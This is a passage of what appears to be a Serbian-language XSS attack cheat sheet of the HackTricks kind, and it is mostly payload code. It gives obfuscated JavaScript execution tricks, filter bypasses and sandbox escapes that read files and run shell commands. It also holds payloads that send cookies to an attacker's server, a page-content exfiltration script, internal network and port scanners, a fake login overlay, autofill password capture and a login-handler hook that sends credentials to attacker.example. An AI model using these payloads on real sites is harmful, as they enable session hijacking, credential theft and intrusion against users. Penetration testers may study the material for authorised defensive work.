Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
Postoji JS code koji koristi nesigurne podatke koje kontroliše napadač kao što je location.href
. Napadač može to zloupotrebiti da izvrši proizvoljan JS kod.
Zbog obimnijeg objašnjenja DOM vulnerabilities it was moved to this page:
Tamo ćete naći detaljno objašnjenje šta su DOM vulnerabilities, kako nastaju i kako ih iskoristiti.
Takođe, ne zaboravite da na kraju pomenutog posta možete naći objašnjenje o DOM Clobbering attacks.
Upgrading Self-XSS
Cookie XSS
Ako možete pokrenuti XSS tako što ćete poslati payload unutar cookie-a, to je obično self-XSS. Međutim, ako nađete vulnerable subdomain to XSS, možete zloupotrebiti taj XSS da ubacite cookie za ceo domen i tako izazovete cookie XSS na glavnom domenu ili drugim poddomenima (onima ranjivim na cookie XSS). Za ovo možete koristiti cookie tossing attack:
Primer značajne zloupotrebe ove tehnike možete naći u this blog post.
Sending your session to the admin
Moguće je da korisnik podeli svoj profil sa adminom, i ako je self XSS u profilu korisnika i admin mu pristupi, on će aktivirati ranjivost.
Session Mirroring
Ako nađete self XSS i web stranica ima session mirroring for administrators, na primer omogućavajući klijentima da zatraže pomoć, da bi admin mogao da pomogne videće ono što vidite u svojoj sesiji ali iz svoje (adminove) sesije.
Možete naterati administrator trigger your self XSS i ukrasti njegove cookies/session.
Other Bypasses
Normalised Unicode
Možete proveriti da li su reflected values unicode normalizovane na serveru (ili na klijentu) i zloupotrebiti tu funkcionalnost da zaobiđete zaštite. Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
Zbog RoR mass assignment navodnici se ubacuju u HTML i time se ograničenje navodnika zaobilazi, pa se dodatna polja (onfocus) mogu dodati unutar taga.
Primer forme (from this report), ako pošaljete payload:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
Par "Key","Value" biće vraćen ovako:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Zatim će atribut onfocus biti umetnut i događa se XSS.
Posebne kombinacije
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS sa injekcijom header-a u 302 odgovoru
Ako otkrijete da možete inject headers in a 302 Redirect response možete pokušati da make the browser execute arbitrary JavaScript. Ovo nije trivijalno jer moderni browseri ne interpretiraju HTTP response body ako je HTTP response status code 302, tako da je običan cross-site scripting payload beskoristan.
U this report i this one možete pročitati kako testirati nekoliko protokola unutar Location header-a i videti da li neki od njih omogućava browseru da pregleda i izvrši XSS payload iz tela odgovora.
Ranije poznati protokoli: mailto://
, //x:1/
, ws://
, wss://
, prazan Location header, resource://
.
Samo slova, brojevi i tačke
Ako možete naznačiti callback koji će javascript execute ograničen samo na ta slova, brojeve i tačke. Read this section of this post da biste saznali kako zloupotrebiti ovo ponašanje.
Podržani <script>
Content-Types za XSS
(From here) Ako pokušate da učitate skriptu sa content-type kao application/octet-stream
, Chrome će baciti sledeću grešku:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Jedini Content-Type-ovi koji će podržati Chrome da izvrši loaded script su oni koji se nalaze unutar konstante kSupportedJavascriptTypes
iz https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Tipovi skripti za XSS
(From here) Dakle, koji tipovi mogu biti navedeni da bi se učitala skripta?
<script type="???"></script>
Odgovor je:
- module (podrazumevano, nema šta objašnjavati)
- webbundle: Web Bundles je funkcija koja vam omogućava da spakujete gomilu podataka (HTML, CSS, JS…) zajedno u
.wbn
fajl.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Omogućava poboljšanje import sintakse
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
Ovo ponašanje je korišćeno u this writeup da premapira biblioteku na eval, čija zloupotreba može izazvati XSS.
- speculationrules: Ova funkcija je prvenstveno namenjena rešavanju nekih problema izazvanih pre-renderingom. Funkcioniše ovako:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Web Content-Types za XSS
(Iz here) Sledeći tipovi sadržaja mogu da izvrše XSS u svim preglednicima:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? not in the list but I think I saw this in a CTF)
- application/rss+xml (off)
- application/atom+xml (off)
U drugim preglednicima drugi Content-Types
se mogu iskoristiti za izvršavanje proizvoljnog JS-a, pogledajte: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml tip sadržaja
Ako stranica vraća content-type text/xml, moguće je navesti namespace i izvršiti proizvoljan JS:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Specijalni obrasci zamene
Kada se koristi nešto poput "some {{template}} data".replace("{{template}}", <user_input>)
. Napadač može koristiti special string replacements da pokuša zaobići neka zaštitna sredstva: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Na primer, u this writeup, ovo je korišćeno da bi se escape-ovao JSON string unutar skripta i izvršio proizvoljan kod.
Chrome Cache to XSS
XS Jails Escape
Ako imate ograničen skup karaktera koje možete koristiti, pogledajte ova druga validna rešenja za XSJail probleme:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Ako je pre izvršavanja nepouzdanog koda everything is undefined (kao u this writeup), moguće je generisati korisne objekte „iz ničega“ kako bi se zloupotrebilo izvršavanje proizvoljnog nepouzdanog koda:
- Korišćenjem import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
- Pristupanje
require
indirektno
According to this moduli su od Node.js umotani unutar funkcije, ovako:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
Stoga, ako iz tog modula možemo pozvati drugu funkciju, moguće je koristiti arguments.callee.caller.arguments[1]
iz te funkcije da pristupimo require
:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
Na sličan način kao u prethodnom primeru, moguće je use error handlers da se pristupi wrapper modula i dobije require
funkciju:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- Različite obfuscations na jednoj stranici: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- Napredniji JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSS common payloads
Više payloads u 1
Iframe Trap
Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i ukradete njegove radnje (uključujući informacije poslate u formularima):
Retrieve Cookies
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
tip
Nećete moći da pristupite cookies iz JavaScript-a ako je HTTPOnly flag postavljen u cookie. Ali ovde imate neke načine da zaobiđete ovu zaštitu ako budete imali sreće.
Krađa sadržaja stranice
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
Pronađite interne IP adrese
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Kratka vremena ukazuju na port koji odgovara Duža vremena ukazuju na neodgovor.
Pregledajte listu portova zabranjenih u Chrome here i u Firefox here.
Polje za traženje podataka za prijavu
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Hvatanje lozinki iz automatskog popunjavanja
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Kada se bilo koji podatak unese u password polje, username i password se šalju na server napadača; čak i ako client izabere saved password i ne ukuca ništa, credentials će biti ex-filtrated.
Hijack form handlers to exfiltrate credentials (const shadowing)
Ako je kritični handler (npr., function DoLogin(){...}
) deklarisan kasnije na stranici, a tvoj payload se izvršava ranije (npr., putem inline JS-in-JS sink), definiši const
istog imena prvo da preduhitriš i zaključaš handler. Kasnije deklaracije funkcija ne mogu ponovo vezati const
ime, ostavljajući tvoj hook pod kontrolom:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
Notes
- Ovo zavisi od reda izvršavanja: vaša injekcija mora biti izvršena pre legitimne deklaracije.
- Ako je vaš payload zamotan u
eval(...)
,const/let
vezivanja neće postati globalna. Koristite dinamičku<script>
